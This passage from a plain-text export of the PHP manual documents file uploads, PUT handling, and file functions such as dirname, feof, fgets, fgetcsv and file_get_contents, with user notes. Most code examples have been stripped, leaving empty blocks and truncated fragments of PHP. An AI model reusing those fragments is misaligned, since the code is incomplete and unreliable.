| Common Pitfalls |~
+-----------------+~
The MAX_FILE_SIZE item cannot specify a file size greater than the
file size that has been set in the upload_max_filesize in the php.ini
file. The default is 2 megabytes.
If a memory limit is enabled, a larger memory_limit may be needed.
Make sure you set memory_limit large enough.
If max_execution_time is set too small, script execution may be
exceeded by the value. Make sure you set max_execution_time large
enough.
Note: max_execution_time only affects the execution time of the script
itself. Any time spent on activity that happens outside the execution
of the script such as system calls using system(), the sleep()
function, database queries, time taken by the file upload process,
etc. is not included when determining the maximum time that the script
has been running.
Warning
max_input_time sets the maximum time, in seconds, the script is
allowed to receive input; this includes file uploads. For large or
multiple files, or users on slower connections, the default of 60
seconds may be exceeded.
If post_max_size is set too small, large files cannot be uploaded.
Make sure you set post_max_size large enough.
Since PHP 5.2.12, the max_file_uploads configuration setting controls
the maximum number of files that can uploaded in one request. If more
files are uploaded than the limit, then $_FILES will stop processing
files once the limit is reached. For example, if max_file_uploads is
set to 10, then $_FILES will never contain more than 10 items.
Not validating which file you operate on may mean that users can
access sensitive information in other directories.
Please note that the CERN httpd seems to strip off everything starting
at the first whitespace in the content-type mime header it gets from
the client. As long as this is the case, CERN httpd will not support
the file upload feature.
Due to the large amount of directory listing styles we cannot
guarantee that files with exotic names (like containing spaces) are
handled properly.
A developer may not mix normal input fields and file upload fields in
the same form variable (by using an input name like foo[]).
--------------------------------------------------------------------------------
*Uploading_multiple_files*
+--------------------------+~
| Uploading multiple files |~
+--------------------------+~
Multiple files can be uploaded using different name for input.
It is also possible to upload multiple files simultaneously and have
the information organized automatically in arrays for you. To do so,
you need to use the same array submission syntax in the HTML form as
you do with multiple selects and checkboxes:
Example #1 Uploading multiple files
>
<
When the above form is submitted, the arrays $_FILES['userfile'],
$_FILES['userfile']['name'], and $_FILES['userfile']['size'] will be
initialized (as well as in $HTTP_POST_FILES for PHP versions prior to
4.1.0). When register_globals is on, globals for uploaded files are
also initialized. Each of these will be a numerically indexed array of
the appropriate values for the submitted files.
For instance, assume that the filenames /home/test/review.html and
/home/test/xwp.out are submitted. In this case,
$_FILES['userfile']['name'][0] would contain the value review.html,
and $_FILES['userfile']['name'][1] would contain the value xwp.out.
Similarly, $_FILES['userfile']['size'][0] would contain review.html's
file size, and so forth.
$_FILES['userfile']['name'][0], $_FILES['userfile']['tmp_name'][0],
$_FILES['userfile']['size'][0], and $_FILES['userfile']['type'][0] are
also set.
Warning
Since PHP 5.2.12, the max_file_uploads configuration setting acts as a
limit on the number of files that can be uploaded in one request. You
will need to ensure that your form does not try to upload more files
in one request than this limit.
207 phpuser at gmail dot com ¶11 years ago~
When uploading multiple files, the $_FILES variable is created in the
form:
Array
(
[name] => Array
(
[0] => foo.txt
[1] => bar.txt
)
[type] => Array
(
[0] => text/plain
[1] => text/plain
)
[tmp_name] => Array
(
[0] => /tmp/phpYzdqkD
[1] => /tmp/phpeEwEWG
)
[error] => Array
(
[0] => 0
[1] => 0
)
[size] => Array
(
[0] => 123
[1] => 456
)
)
I found it made for a little cleaner code if I had the uploaded files
array in the form
Array
(
[0] => Array
(
[name] => foo.txt
[type] => text/plain
[tmp_name] => /tmp/phpYzdqkD
[error] => 0
[size] => 123
)
[1] => Array
(
[name] => bar.txt
[type] => text/plain
[tmp_name] => /tmp/phpeEwEWG
[error] => 0
[size] => 456
)
)
I wrote a quick function that would convert the $_FILES array to the
cleaner (IMHO) array.
>
<
Now I can do the following:
>
<
36 wizzard351 at yahoo dot com ¶3 years ago~
This is also needed for elements.
So, if you have an input element like this:
This should be written as
else you'll only be able to get one of the files.
10 Corey Ballou ¶7 years ago~
Here is a function to fix the indices of a multi-dimensional for
easier parsing when dealing with file uploads. It takes a single
$_FILES field array as a parameter and separates each individual
uploaded file by numeric key. This allows for iterating like:
>
$file) {
// should output array with indices name, type, tmp_name, error, size
var_dump($file);
}
?>
<
Here's the code:
>
1, 'type' => 1, 'tmp_name' => 1, 'error' => 1, 'size' => 1);
foreach ($files as $key => $part) {
// only deal with valid keys and multiple files
$key = (string) $key;
if (isset($names[$key]) && is_array($part)) {
foreach ($part as $position => $value) {
$files[$position][$key] = $value;
}
// remove old key reference
unset($files[$key]);
}
}
}
?>
<
12 timspeelman at live dot nl ¶5 years ago~
The cleanest way to rearrange the $_FILES
>
$all ){
foreach( $all as $i => $val ){
$new[$i][$key] = $val;
}
}
return $new;
}
?>
<
--------------------------------------------------------------------------------
*PUT_method_support*
+--------------------+~
| PUT method support |~
+--------------------+~
PHP provides support for the HTTP PUT method used by some clients to
store files on a server. PUT requests are much simpler than a file
upload using POST requests and they look something like this:
PUT /path/filename.html HTTP/1.1
This would normally mean that the remote client would like to save the
content that follows as: /path/filename.html in your web tree. It is
obviously not a good idea for Apache or PHP to automatically let
everybody overwrite any files in your web tree. So, to handle such a
request you have to first tell your web server that you want a certain
PHP script to handle the request. In Apache you do this with the
Script directive. It can be placed almost anywhere in your Apache
configuration file. A common place is inside a block or
perhaps inside a block. A line like this would do the
trick:
Script PUT /put.php
This tells Apache to send all PUT requests for URIs that match the
context in which you put this line to the put.php script. This
assumes, of course, that you have PHP enabled for the .php extension
and PHP is active. The destination resource for all PUT requests to
this script has to be the script itself, not a filename the uploaded
file should have.
With PHP you would then do something like the following in your
put.php. This would copy the contents of the uploaded file to the file
myputfile.ext on the server. You would probably want to perform some
checks and/or authenticate the user before performing this file copy.
Example #1 Saving HTTP PUT files
>
<
User Contributed Notes 7 notes
24 micronix at gmx dot net ¶6 years ago~
Hello PHP World After many Hours of worryness :=)
I have found the Solution for Resume or Pause Uploads
In this Code Snippet it is the Server Side not Client on any Desktop
Programm you must use byte ranges to calculate the uploaded bytes and
missing of total bytes.
Here the PHP Code
>
getMessage(), "\n";
}
?>
<
--------------------------------------------------------------------------------
*delete*
+--------+~
| delete |~
+--------+~
delete — See unlink() or unset()
Description~
This is a dummy manual entry to satisfy those people who are looking
for unlink() or unset() in the wrong place.
See Also~
|unlink|() - Deletes a file
|unset|() - Unset a given variable
User Contributed Notes 1 note
30 Edward Morgan ¶3 years ago~
Unlink refers to the underlying UNIX command, unlink, which removes
the symbolic or hard link to the file, not necessarily the file
itself. The file is only removed when all links to the file are
removed.
--------------------------------------------------------------------------------
*dirname*
+---------+~
| dirname |~
+---------+~
(PHP 4, PHP 5, PHP 7)
dirname — Returns a parent directory's path
Description~
>
string dirname ( string $path [, int $levels = 1 ] )
<
Given a string containing the path of a file or directory, this
function will return the parent directory's path that is levels up
from the current directory.
Note:
dirname() operates naively on the input string, and is not aware of
the actual filesystem, or path components such as "..".
Caution
dirname() is locale aware, so for it to see the correct directory name
with multibyte character paths, the matching locale must be set using
the setlocale() function.
Parameters~
path
-----
A path.
On Windows, both slash (/) and backslash (\) are used as directory
separator character. In other environments, it is the forward slash
(/).
levels
------
The number of parent directories to go up.
This must be an integer greater than 0.
Return Values~
Returns the path of a parent directory. If there are no slashes in
path, a dot ('.') is returned, indicating the current directory.
Otherwise, the returned string is path with any trailing /component
removed.
Changelog~
Version Description
7.0.0 Added the optional levels parameter.
5.0.0 dirname() is now binary safe
Examples~
Example #1 dirname() example
>
<
For example, if a script called 'database.init.php' which is included
from anywhere on the filesystem wants to include the script
'database.class.php', which lays in the same directory, you can use:
>
<
30 y dot a dot dejong at singular dot of dot alumni dot utwente dot nl ¶2 years ago~
As of PHP 5.3.0, you can use __DIR__ as a replacement for dirname(__FILE__)
7 joe dot naylor at gmail dot com ¶8 years ago~
The dirname function does not usually return a slash on the end, which
might encourage you to create links using code like this: $url =
dirname($_SERVER['PHP_SELF']) . '/somepage.php';
However dirname returns a slash if the path you specify is the root,
so $url in that case would become '//somepage.php'. If you put that
URL as the action on a form, for example, submitting the form will try
to go to http://somepage.php.
I ran into this when I wrote a site on a url with a path,
www.somehost.com/client/somepage.php, where the code above works
great, but then wanted to put it on a subdomain,
client.somehost.com/somepage.php, where things started breaking.
The best solution would be to create a function that generates
absolute URLs and use that throughout the site, but creating a
safe_dirname function (and an htaccess rewrite to fix double-slashes
just in case) fixed the issue for me:
>
<
9 klugg this-is-junk at tlen dot pl ¶11 years ago~
Attention with this. Dirname likes to mess with the slashes. On
Windows, Apache:
>
';
echo 'Dirname($_SERVER[PHP_SELF]: ' . dirname($_SERVER['PHP_SELF']) . ' ';
?>
<
prints out
$_SERVER[PHP_SELF]: /index.php
Dirname($_SERVER[PHP_SELF]: \
--------------------------------------------------------------------------------
*disk_free_space*
+-----------------+~
| disk_free_space |~
+-----------------+~
(PHP 4 >= 4.1.0, PHP 5, PHP 7)
disk_free_space — Returns available space on filesystem or disk partition
Description~
>
float disk_free_space ( string $directory )
<
Given a string containing a directory, this function will return the
number of bytes available on the corresponding filesystem or disk
partition.
Parameters~
directory
---------
A directory of the filesystem or disk partition.
Note:
Given a file name instead of a directory, the behaviour of the
function is unspecified and may differ between operating systems and
PHP versions.
Return Values~
Returns the number of available bytes as a float or FALSE on failure.
Examples~
Example #1 disk_free_space() example
>
<
Notes
Note: This function will not work on remote files as the file to be
examined must be accessible via the server's filesystem.
See Also~
|disk_total_space|() - Returns the total size of a filesystem or disk partition
User Contributed Notes 7 notes
26 wiede at gmx dot net ¶6 years ago~
Transformation is possible WITHOUT using loops:
>
';
echo sprintf('%1.2f' , $bytes / pow($base,$class)) . ' ' . $si_prefix[$class] . ' ';
?>
<
15 Anonymous ¶2 years ago~
$si_prefix = array( 'B', 'KB', 'MB', 'GB', 'TB', 'EB', 'ZB', 'YB' );
you are missing the petabyte after terabyte
'B', 'KB', 'MB', 'GB', 'TB', 'EB', 'ZB', 'YB'
should look like
'B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'
10 sam ¶8 years ago~
Nice, but please be aware of the prefixes.
SI specifies a lower case 'k' as 1'000 prefix.
It doesn't make sense to use an upper case 'K' as binary prefix,
while the decimal Mega (M and following) prefixes in SI are uppercase.
Furthermore, there are REAL binary prefixes since a few years.
Do it the (newest and recommended) "IEC" way:
KB's are calculated decimal; power of 10 (1000 bytes each)
KiB's are calculated binary; power of 2 (1024 bytes each).
The same goes for MB, MiB and so on...
Feel free to read:
http://en.wikipedia.org/wiki/Binary_prefix
10 root at mantoru dot de ¶9 years ago~
Note that disk_free_space() does an open_basedir check.
--------------------------------------------------------------------------------
*disk_total_space*
+------------------+~
| disk_total_space |~
+------------------+~
(PHP 4 >= 4.1.0, PHP 5, PHP 7)
disk_total_space — Returns the total size of a filesystem or disk
partition
Description~
>
float disk_total_space ( string $directory )
<
Given a string containing a directory, this function will return the
total number of bytes on the corresponding filesystem or disk
partition.
Parameters~
directory
---------
A directory of the filesystem or disk partition.
Return Values~
Returns the total number of bytes as a float or FALSE on failure.
Examples~
Example #1 disk_total_space() example
>
<
Notes
Note: This function will not work on remote files as the file to be examined must be accessible via the server's filesystem.
See Also~
|disk_free_space|() - Returns available space on filesystem or disk partition
User Contributed Notes 9 notes
8 Viitala ¶9 years ago~
Beware of empty files!
>
<
8 tularis at php dot net ¶9 years ago~
For a non-looping way to add symbols to a number of bytes:
>
bool feof ( resource $handle )
<
Tests for end-of-file on a file pointer.
Parameters~
handle
------
The file pointer must be valid, and must point to a file successfully
opened by fopen() or fsockopen() (and not yet closed by fclose()).
Return Values~
Returns TRUE if the file pointer is at EOF or an error occurs (including socket timeout); otherwise returns FALSE.
Notes
Warning
If a connection opened by fsockopen() wasn't closed by the server,
feof() will hang. To workaround this, see below example:
Example #1 Handling timeouts with feof()
>
<
Warning
If the passed file pointer is not valid you may get an infinite loop, because feof() fails to return TRUE.
Example #2 feof() example with an invalid file pointer
>
<
User Contributed Notes 16 notes~
19 ironoxid at libero dot it ¶10 years ago~
I really thought that the feof() was TRUE when the logical file
pointer is a EOF. but no ! we need to read and get an empty record
before the eof() reports TRUE.
So
>
$fp = fopen('test.bin','rb');
while(!feof($fp)) {
$c = fgetc($fp);
// ... do something with $c
echo ftell($fp), ",";
}
echo 'EOF!';
<
prints for two time the last byte position.
If our file length is 5 byte this code prints
0,1,2,3,4,5,5,EOF!
Because of this, you have to do another check to verify if fgetc really reads another byte (to prevent error on "do something with $c" ^_^).
To prevent errors you have to use this code
>
$fp = fopen('test.bin','rb');
while(!feof($fp)) {
$c = fgetc($fp);
if($c === false) break;
// ... do something with $c
}
<
but this is the same of
>
$fp = fopen('test.bin','rb');
while(($c = fgetc($fp))!==false) {
// ... do something with $c
}
<
Consequently feof() is simply useless.
Before write this note I want to submit this as a php bug but one php
developer said that this does not imply a bug in PHP itself
(http://bugs.php.net/bug.php?id=35136&edit=2).
If this is not a bug I think that this need at least to be noticed.
Sorry for my bad english.
Bye ;)
8 sudo dot adam dot carruthers at gmail dot com ¶7 years ago~
When using feof() on a TCP stream, i found the following to work
(after many hours of frustration and anger):
NOTE: I used ";" to denote the end of data transmission. This can be
modified to whatever the server's end of file or in this case, end of
output character is.
>
<
Since strcmp() returns 0 when the two strings are equal, it will
return non zero as long as the cursor is not ";". Using the above
method will add ";" to the string, but the fix for this is simple.
>
<
I hope this helps someone.
--------------------------------------------------------------------------------
*fflush*
+--------+~
| fflush |~
+--------+~
(PHP 4 >= 4.0.1, PHP 5, PHP 7)
fflush — Flushes the output to a file
Description~
>
bool fflush ( resource $handle )
<
This function forces a write of all buffered output to the resource
pointed to by the file handle.
Parameters~
handle
------
The file pointer must be valid, and must point to a file successfully
opened by fopen() or fsockopen() (and not yet closed by fclose()).
Return Values~
Returns TRUE on success or FALSE on failure.
Examples~
Example #1 File write example using fflush()
>
<
See Also~
|clearstatcache|() - Clears file status cache
|fwrite|() - Binary-safe file write
--------------------------------------------------------------------------------
*fgetc*
+-------+~
| fgetc |~
+-------+~
(PHP 4, PHP 5, PHP 7)
fgetc — Gets character from file pointer
Description~
>
string fgetc ( resource $handle )
<
Gets a character from the given file pointer.
Parameters~
handle
------
The file pointer must be valid, and must point to a file successfully
opened by fopen() or fsockopen() (and not yet closed by fclose()).
Return Values~
Returns a string containing a single character read from the file
pointed to by handle. Returns FALSE on EOF.
Warning
This function may return Boolean FALSE, but may also return a
non-Boolean value which evaluates to FALSE. Please read the section on
Booleans for more information. Use the === operator for testing the
return value of this function.
Examples~
Example #1 A fgetc() example
>
<
Notes
Note: This function is binary-safe.
See Also~
|fread|() - Binary-safe file read
|fopen|() - Opens file or URL
|popen|() - Opens process file pointer
|fsockopen|() - Open Internet or Unix domain socket connection
|fgets|() - Gets line from file pointer
--------------------------------------------------------------------------------
*fgetcsv*
+---------+~
| fgetcsv |~
+---------+~
(PHP 4, PHP 5, PHP 7)
fgetcsv — Gets line from file pointer and parse for CSV fields
Description~
>
array fgetcsv ( resource $handle [, int $length = 0 [, string $delimiter = "," [, string $enclosure = '"' [, string $escape = "\" ]]]] )
<
Similar to fgets() except that fgetcsv() parses the line it reads for
fields in CSV format and returns an array containing the fields read.
Parameters~
handle
------
A valid file pointer to a file successfully opened by fopen(),
popen(), or fsockopen().
length
------
Must be greater than the longest line (in characters) to be found in
the CSV file (allowing for trailing line-end characters). Otherwise
the line is split in chunks of length characters, unless the split
would occur inside an enclosure.
Omitting this parameter (or setting it to 0 in PHP 5.1.0 and later)
the maximum line length is not limited, which is slightly slower.
delimiter
---------
The optional delimiter parameter sets the field delimiter (one
character only).
enclosure
---------
The optional enclosure parameter sets the field enclosure character
(one character only).
escape
------
The optional escape parameter sets the escape character (one character
only).
Return Values~
Returns an indexed array containing the fields read.
Note:
A blank line in a CSV file will be returned as an array comprising a
single null field, and will not be treated as an error.
Note: If PHP is not properly recognizing the line endings when reading
files either on or created by a Macintosh computer, enabling the
auto_detect_line_endings run-time configuration option may help
resolve the problem.
fgetcsv() returns NULL if an invalid handle is supplied or FALSE on
other errors, including end of file.
Changelog~
Version Description
5.3.0 The escape parameter was added
5.1.0 The length is now optional. Default is 0, meaning no length limit.
4.3.5 fgetcsv() is now binary safe
Examples~
Example #1 Read and print the entire contents of a CSV file
>
$num fields in line $row:
\n";
$row++;
for ($c=0; $c < $num; $c++) {
echo $data[$c] . " \n";
}
}
fclose($handle);
}
?>
<
Notes
Note:
Locale setting is taken into account by this function. If LANG is e.g.
en_US.UTF-8, files in one-byte encoding are read wrong by this
function.
See Also~
|str_getcsv|() - Parse a CSV string into an array
|explode|() - Split a string by string
|file|() - Reads entire file into an array
|pack|() - Pack data into binary string
|fputcsv|() - Format line as CSV and write to file pointer
User Contributed Notes 58 notes
46 james dot ellis at gmail dot com ¶8 years ago~
If you need to set auto_detect_line_endings to deal with Mac line
endings, it may seem obvious but remember it should be set before
fopen, not after:
This will work:
>
<
This won't, you will still get concatenated fields at the new line position:
>
<
25 myrddin at myrddin dot myrddin ¶10 years ago~
Here is a OOP based importer similar to the one posted earlier.
However, this is slightly more flexible in that you can import huge
files without running out of memory, you just have to use a limit on
the get() method
Sample usage for small files:-
-------------------------------------
get();
print_r($data);
?>
Sample usage for large files:-
-------------------------------------
get(2000))
{
print_r($data);
}
?>
And heres the class:-
-------------------------------------
fp = fopen($file_name, "r");
$this->parse_header = $parse_header;
$this->delimiter = $delimiter;
$this->length = $length;
$this->lines = $lines;
if ($this->parse_header)
{
$this->header = fgetcsv($this->fp, $this->length, $this->delimiter);
}
}
//--------------------------------------------------------------------
function __destruct()
{
if ($this->fp)
{
fclose($this->fp);
}
}
//--------------------------------------------------------------------
function get($max_lines=0)
{
//if $max_lines is set to 0, then get all the data
$data = array();
if ($max_lines > 0)
$line_count = 0;
else
$line_count = -1; // so loop limit is ignored
while ($line_count < $max_lines && ($row = fgetcsv($this->fp, $this->length, $this->delimiter)) !== FALSE)
{
if ($this->parse_header)
{
foreach ($this->header as $i => $heading_i)
{
$row_new[$heading_i] = $row[$i];
}
$data[] = $row_new;
}
else
{
$data[] = $row;
}
if ($max_lines > 0)
$line_count++;
}
return $data;
}
//--------------------------------------------------------------------
}
?>
11 Tim Henderson ¶9 years ago~
Only problem with fgetcsv(), at least in PHP 4.x -- any stray slash in
the data that happens to come before a double-quote delimiter will
break it -- ie, cause the field delimiter to be escaped. I can't find
a direct way to deal with it, since fgetcsv() doesn't give you a
chance to manipulate the line before it reads it and parses it...I've
had to change all occurrences of '\"' to '" in the file first before
feeding ot to fgetcsv(). Otherwise this is perfect for that
Microsoft-CSV formula, deals gracefully with all the issues.
--------------------------------------------------------------------------------
*fgets*
+-------+~
| fgets |~
+-------+~
(PHP 4, PHP 5, PHP 7)
fgets — Gets line from file pointer
Description~
>
string fgets ( resource $handle [, int $length ] )
<
Gets a line from file pointer.
Parameters~
handle
------
The file pointer must be valid, and must point to a file successfully
opened by fopen() or fsockopen() (and not yet closed by fclose()).
length
------
Reading ends when length - 1 bytes have been read, or a newline (which
is included in the return value), or an EOF (whichever comes first).
If no length is specified, it will keep reading from the stream until
it reaches the end of the line.
Note:
Until PHP 4.3.0, omitting it would assume 1024 as the line length. If
the majority of the lines in the file are all larger than 8KB, it is
more resource efficient for your script to specify the maximum line
length.
Return Values~
Returns a string of up to length - 1 bytes read from the file pointed
to by handle. If there is no more data to read in the file pointer,
then FALSE is returned.
If an error occurs, FALSE is returned.
Changelog~
Version Description
4.3.0 fgets() is now binary safe
Examples~
Example #1 Reading a file line by line
>
<
Notes~
Note: If PHP is not properly recognizing the line endings when reading
files either on or created by a Macintosh computer, enabling the
auto_detect_line_endings run-time configuration option may help
resolve the problem.
Note:
People used to the 'C' semantics of fgets() should note the difference
in how EOF is returned.
See Also~
|fgetss|() - Gets line from file pointer and strip HTML tags
|fread|() - Binary-safe file read
|fgetc|() - Gets character from file pointer
|stream_get_line|() - Gets line from stream resource up to a given delimiter
|fopen|() - Opens file or URL
|popen|() - Opens process file pointer
|fsockopen|() - Open Internet or Unix domain socket connection
|stream_set_timeout|() - Set timeout period on a stream
User Contributed Notes 34 notes
10 Leigh Purdie ¶2 years ago~
A better example, to illustrate the differences in speed for large
files, between fgets and stream_get_line.
This example simulates situations where you are reading potentially
very long lines, of an uncertain length (but with a maximum buffer
size), from an input source.
As Dade pointed out, the previous example I provided was much to easy
to pick apart, and did not adequately highlight the issue I was trying
to address.
Note that specifying a definitive end-character for fgets (ie:
newline), generally decreases the speed difference reasonably
significantly.
>
#!/usr/bin/php
1?"faster":"slower") . " than fgets - pdiff is $pdiff\n";
?>
<
$ ./testcase.php
stream_get_line is faster than fgets - pdiff is 1.760398041785
Note that, in a vast majority of situations in which php is employed,
tiny differences in speed between system calls are of negligible
importance.
8 afwxkat at gmail dot com ¶7 years ago~
One thing I discovered with fgets, at least with PHP 5.1.6, is that
you may have to use an IF statement to avoid your code running rampant
(and possibly hanging the server). This can cause problems if you do
not have root access on the server on which you are working.
This is the code I have implemented ($F1 is an array):
>
<
I have noticed that without the IF statement, fgets seems to ignore
when $fh is undefined (i.e., "filename" does not exist). If that
happens, it will keep attempting to read from a nonexistent filehandle
until the process can be administratively killed or the server hangs,
whichever comes first.
--------------------------------------------------------------------------------
*fgetss*
+--------+~
| fgetss |~
+--------+~
(PHP 4, PHP 5, PHP 7)
fgetss — Gets line from file pointer and strip HTML tags
Description~
>
string fgetss ( resource $handle [, int $length [, string $allowable_tags ]] )
<
Identical to fgets(), except that fgetss() attempts to strip any NUL
bytes, HTML and PHP tags from the text it reads.
Parameters~
handle
------
The file pointer must be valid, and must point to a file successfully
opened by fopen() or fsockopen() (and not yet closed by fclose()).
length
------
Length of the data to be retrieved.
allowable_tags
--------------
You can use the optional third parameter to specify tags which should
not be stripped. See strip_tags() for details regarding
allowable_tags.
Return Values~
Returns a string of up to length - 1 bytes read from the file pointed
to by handle, with all HTML and PHP code stripped.
If an error occurs, returns FALSE.
Example #1 Reading a PHP file line-by-line
>
Welcome! Today is the of = date('F'); ?>.
Text outside of the HTML block.
EOD;
file_put_contents('sample.php', $str);
$handle = @fopen("sample.php", "r");
if ($handle) {
while (!feof($handle)) {
$buffer = fgetss($handle, 4096);
echo $buffer;
}
fclose($handle);
}
?>
<
The above example will output something similar to:
Welcome! Today is the of .
Text outside of the HTML block.
Notes~
Note: If PHP is not properly recognizing the line endings when reading
files either on or created by a Macintosh computer, enabling the
auto_detect_line_endings run-time configuration option may help
resolve the problem.
See Also~
|fgets|() - Gets line from file pointer
|fopen|() - Opens file or URL
|popen|() - Opens process file pointer
|fsockopen|() - Open Internet or Unix domain socket connection
|strip_tags|() - Strip HTML and PHP tags from a string
--------------------------------------------------------------------------------
*file_exists*
+-------------+~
| file_exists |~
+-------------+~
(PHP 4, PHP 5, PHP 7)
file_exists — Checks whether a file or directory exists
Description~
>
bool file_exists ( string $filename )
<
Checks whether a file or directory exists.
Parameters~
filename
--------
Path to the file or directory.
On windows, use //computername/share/filename or
\\computername\share\filename to check files on network shares.
Return Values~
Returns TRUE if the file or directory specified by filename exists;
FALSE otherwise.
Note:
This function will return FALSE for symlinks pointing to non-existing
files.
Warning
This function returns FALSE for files inaccessible due to safe mode
restrictions. However these files still can be included if they are
located in safe_mode_include_dir.
Note:
The check is done using the real UID/GID instead of the effective one.
Note: Because PHP's integer type is signed and many platforms use
32bit integers, some filesystem functions may return unexpected
results for files which are larger than 2GB.
Examples~
Example #1 Testing whether a file exists
>
<
Errors/Exceptions~
Upon failure, an E_WARNING is emitted.
Notes
Note: The results of this function are cached. See clearstatcache()
for more details.
Tip
As of PHP 5.0.0, this function can also be used with some URL
wrappers. Refer to Supported Protocols and Wrappers to determine which
wrappers support stat() family of functionality.
See Also~
|is_readable|() - Tells whether a file exists and is readable
|is_writable|() - Tells whether the filename is writable
|is_file|() - Tells whether the filename is a regular file
|file|() - Reads entire file into an array
User Contributed Notes 45 notes
16 welkom at remconijhuis dot nl ¶3 years ago~
I needed to measure performance for a project, so I did a simple test
with one million file_exists() and is_file() checks. In one scenario,
only seven of the files existed. In the second, all files existed.
is_file() needed 3.0 for scenario one and 3.3 seconds for scenario
two. file_exists() needed 2.8 and 2.9 seconds, respectively. The
absolute numbers are off course system-dependant, but it clearly
indicates that file_exists() is faster.
15 vernon at kesnerdesigns dot net ¶9 years ago~
In response to seejohnrun's version to check if a URL exists. Even if
the file doesn't exist you're still going to get 404 headers. You can
still use get_headers if you don't have the option of using CURL..
>
$file = 'http://www.domain.com/somefile.jpg';
$file_headers = @get_headers($file);
if($file_headers[0] == 'HTTP/1.1 404 Not Found') {
$exists = false;
}
else {
$exists = true;
}
<
9 maurice at idify dot nl ¶9 years ago~
Note: The results of this function are cached. See clearstatcache()
for more details.
That's a pretty big note. Don't forget this one, since it can make
your file_exists() behave unexpectedly - probably at production time
;)
--------------------------------------------------------------------------------
*file_get_contents*
+-------------------+~
| file_get_contents |~
+-------------------+~
(PHP 4 >= 4.3.0, PHP 5, PHP 7)
file_get_contents — Reads entire file into a string
Description~
>
string file_get_contents ( string $filename [, bool $use_include_path = false [, resource $context [, int $offset = 0 [, int $maxlen ]]]] )
<
This function is similar to file(), except that file_get_contents()
returns the file in a string, starting at the specified offset up to
maxlen bytes. On failure, file_get_contents() will return FALSE.
file_get_contents() is the preferred way to read the contents of a
file into a string. It will use memory mapping techniques if supported
by your OS to enhance performance.
Note:
If you're opening a URI with special characters, such as spaces, you
need to encode the URI with urlencode().
Parameters~
filename
--------
Name of the file to read.
use_include_path
----------------
Note:
As of PHP 5 the FILE_USE_INCLUDE_PATH constant can be used to trigger
include path search.
context
-------
A valid context resource created with stream_context_create(). If you
don't need to use a custom context, you can skip this parameter by
NULL.
offset
------
The offset where the reading starts on the original stream. Negative
offsets count from the end of the stream.
Seeking (offset) is not supported with remote files. Attempting to
seek on non-local files may work with small offsets, but this is
unpredictable because it works on the buffered stream.
maxlen
------
Maximum length of data read. The default is to read until end of file
is reached. Note that this parameter is applied to the stream
processed by the filters.
Return Values~
The function returns the read data or FALSE on failure.
Warning
This function may return Boolean FALSE, but may also return a
non-Boolean value which evaluates to FALSE. Please read the section on
Booleans for more information. Use the === operator for testing the
return value of this function.
Errors/Exceptions~
An E_WARNING level error is generated if filename cannot be found, maxlength is less than zero, or if seeking to the specified offset in the stream fails.
Examples~
Example #1 Get and output the source of the homepage of a website
>
<
Example #2 Searching within the include_path
>
PHP 5
$file = file_get_contents('./people.txt', FILE_USE_INCLUDE_PATH);
?>
<
Example #3 Reading a section of a file
>
<
The above example will output something similar to:
string(14) "lle Bjori Ro"
Example #4 Using stream contexts
>
array(
'method'=>"GET",
'header'=>"Accept-language: en\r\n" .
"Cookie: foo=bar\r\n"
)
);
$context = stream_context_create($opts);
// Open the file using the HTTP headers set above
$file = file_get_contents('http://www.example.com/', false, $context);
?>
<
Changelog~
Version Description
7.1.0 Support for negative offsets has been added.
5.1.0 Added the offset and maxlen parameters.
Notes
Note: This function is binary-safe.
Tip
A URL can be used as a filename with this function if the fopen
wrappers have been enabled. See fopen() for more details on how to
specify the filename. See the Supported Protocols and Wrappers for
links to information about what abilities the various wrappers have,
notes on their usage, and information on any predefined variables they
may provide.
Warning
When using SSL, Microsoft IIS will violate the protocol by closing the
connection without sending a close_notify indicator. PHP will report
this as "SSL: Fatal Protocol Error" when you reach the end of the
data. To work around this, the value of error_reporting should be
lowered to a level that does not include warnings. PHP can detect
buggy IIS server software when you open the stream using the https://
wrapper and will suppress the warning. When using fsockopen() to
create an ssl:// socket, the developer is responsible for detecting
and suppressing this warning.
See Also~
|file|() - Reads entire file into an array
|fgets|() - Gets line from file pointer
|fread|() - Binary-safe file read
|readfile|() - Outputs a file
|file_put_contents|() - Write a string to a file
|stream_get_contents|() - Reads remainder of a stream into a string
|stream_context_create|() - Creates a stream context
|$http_response_header|
75 Bart Friederichs ¶5 years ago~
file_get_contents can do a POST, create a context for that first:
>
$opts = array('http' =>
array(
'method' => 'POST',
'header' => "Content-Type: text/xml\r\n".
"Authorization: Basic ".base64_encode("$https_user:$https_password")."\r\n",
'content' => $body,
'timeout' => 60
)
);
$context = stream_context_create($opts);
$url = 'https://'.$https_server;
$result = file_get_contents($url, false, $context, -1, 40000);
<
--------------------------------------------------------------------------------
*file_put_contents*
+-------------------+~
| file_put_contents |~
+-------------------+~
(PHP 5, PHP 7)
file_put_contents — Write a string to a file
Description~
>
int file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] )
<
This function is identical to calling fopen(), fwrite() and fclose()
successively to write data to a file.
If filename does not exist, the file is created. Otherwise, the
existing file is overwritten, unless the FILE_APPEND flag is set.
Parameters~
filename
--------
Path to the file where to write the data.
data
-----
The data to write. Can be either a string, an array or a stream
resource.
If data is a stream resource, the remaining buffer of that stream will
be copied to the specified file. This is similar with using
stream_copy_to_stream().
You can also specify the data parameter as a single dimension array.
This is equivalent to file_put_contents($filename, implode('',
$array)).
flags
-----
The value of flags can be any combination of the following flags,
joined with the binary OR (|) operator.
Available flags
Flag Description
FILE_USE_INCLUDE_PATH Search for filename in the include directory.
See include_path for more information.
FILE_APPEND If file filename already exists, append the data to
the file instead of overwriting it.
LOCK_EX Acquire an exclusive lock on the file while proceeding to the
writing. In other words, a flock() call happens between the fopen()
call and the fwrite() call. This is not identical to an fopen() call
with mode "x".
context
-------
A valid context resource created with stream_context_create().
Return Values~
This function returns the number of bytes that were written to the
file, or FALSE on failure.
Warning
This function may return Boolean FALSE, but may also return a
non-Boolean value which evaluates to FALSE. Please read the section on
Booleans for more information. Use the === operator for testing the
return value of this function.
Examples~
Example #1 Simple usage example
>
<
Example #2 Using flags
>
<
Changelog~
Version Description
5.1.0 Added support for LOCK_EX and the ability to pass a stream
resource to the data parameter
Notes
Note: This function is binary-safe.
Tip
A URL can be used as a filename with this function if the fopen
wrappers have been enabled. See fopen() for more details on how to
specify the filename. See the Supported Protocols and Wrappers for
links to information about what abilities the various wrappers have,
notes on their usage, and information on any predefined variables they
may provide.
See Also~
|fopen|() - Opens file or URL
|fwrite|() - Binary-safe file write
|file_get_contents|() - Reads entire file into a string
